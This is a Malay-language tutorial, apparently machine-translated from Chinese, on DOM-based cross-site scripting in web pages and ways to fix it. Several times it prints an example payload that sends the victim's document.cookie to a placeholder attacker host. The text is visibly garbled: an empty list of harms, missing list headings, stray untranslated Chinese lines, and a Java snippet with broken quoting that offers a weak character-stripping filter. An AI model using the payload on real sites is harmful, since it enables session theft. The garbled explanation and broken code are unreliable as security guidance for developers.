Serangan DOM XSS di Java dan cara membetulkannya
Pengenalan:
Dengan perkembangan pesat Internet, pembangunan aplikasi web menjadi semakin biasa. Walau bagaimanapun, isu keselamatan yang datang dengannya sentiasa membimbangkan pemaju. Salah satunya ialah serangan DOM XSS. Serangan DOM XSS ialah cara untuk melaksanakan serangan skrip merentas tapak dengan memanipulasi "Model Objek Dokumen" (DOM) halaman web. Artikel ini akan memperkenalkan definisi, bahaya dan cara membaiki serangan DOM XSS.
1. Definisi dan bahaya serangan DOM XSS:
Serangan DOM XSS ialah serangan skrip merentas tapak yang mengeksploitasi interaksi antara kod JavaScript pelanggan dan DOM. Penyerang boleh mengubah suai kandungan halaman web dan melaksanakan kod JavaScript berniat jahat dengan memanipulasi DOM, dan kod ini dilaksanakan dalam penyemak imbas pengguna, jadi ia sangat berbahaya.
Serangan DOM XSS boleh menyebabkan kemudaratan berikut:
2. Contoh serangan DOM XSS:
Untuk lebih memahami prinsip serangan DOM XSS, contoh mudah akan digunakan untuk menunjukkan proses serangan.
Andaikan terdapat halaman web di mana pengguna boleh memasukkan maklumat peribadi dan ia akan dipaparkan pada halaman web. Berikut ialah contoh kod:
<!DOCTYPE html> <html> <head> <title>DOM XSS Attack Example</title> </head> <body> <h1>Personal Information</h1> <div id="info"></div> <script> var input = "<script>alert('You have been hacked.');</script>"; document.getElementById("info").innerHTML = input; </script> </body> </html>
Dalam kod di atas, apa sahaja yang dimasukkan pengguna akan dimasukkan terus ke dalam halaman web DOM tanpa sebarang penapisan dan pengesahan. Ini memberi peluang kepada penyerang untuk melakukan serangan DOM XSS.
Penyerang boleh membina input hasad, seperti:
<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>
Input hasad ini menyuntik skrip untuk mencuri maklumat kuki pengguna dan menghantarnya ke pelayan penyerang.
Apabila pengguna melawat halaman web ini dengan input berniat jahat, skrip dilaksanakan dan maklumat kuki pengguna dicuri.
3. Kaedah pembaikan untuk serangan DOM XSS:
Untuk mengelakkan serangan DOM XSS, pembangun boleh menggunakan kaedah pembaikan berikut:
Berikut ialah contoh kod:
public static String sanitizeInput(String input) { // 过滤掉危险字符、HTML标签和JavaScript代码 return input.replaceAll("[<>"'&]", ""); } String input = "<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>"; String sanitizedInput = sanitizeInput(input);
Menapis input pengguna dengan memanggil kaedah sanitizeInput() boleh menghalang suntikan skrip berniat jahat.
textContent
dan bukannya innerHTML
, setAttribute()
sebaliknya innerHTML
dsb. untuk mengurangkan kemungkinan serangan. textContent
替代innerHTML
,setAttribute()
替代innerHTML
等,以减少攻击的可能性。以下是示例代码:
var input = "<script>var stealData = new Image();stealData.src="http://attackerserver.com/steal?data="+document.cookie;</script>"; document.getElementById("info").textContent = input;
使用textContent
来替代innerHTML
textContent
dan bukannya innerHTML
untuk mengelakkan suntikan skrip.
Gunakan rangka kerja selamat: Gunakan beberapa rangka kerja keselamatan yang disahkan secara meluas, seperti ESAPI (Enterprise Security API), Spring Security, dsb. Rangka kerja ini menyediakan pembangun dengan pelbagai ciri keselamatan, termasuk penapisan input, pengekodan output, pengurusan sesi, dll., untuk membantu mencegah serangan DOM XSS.
Atas ialah kandungan terperinci Serangan DOM XSS di Java dan cara membetulkannya. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!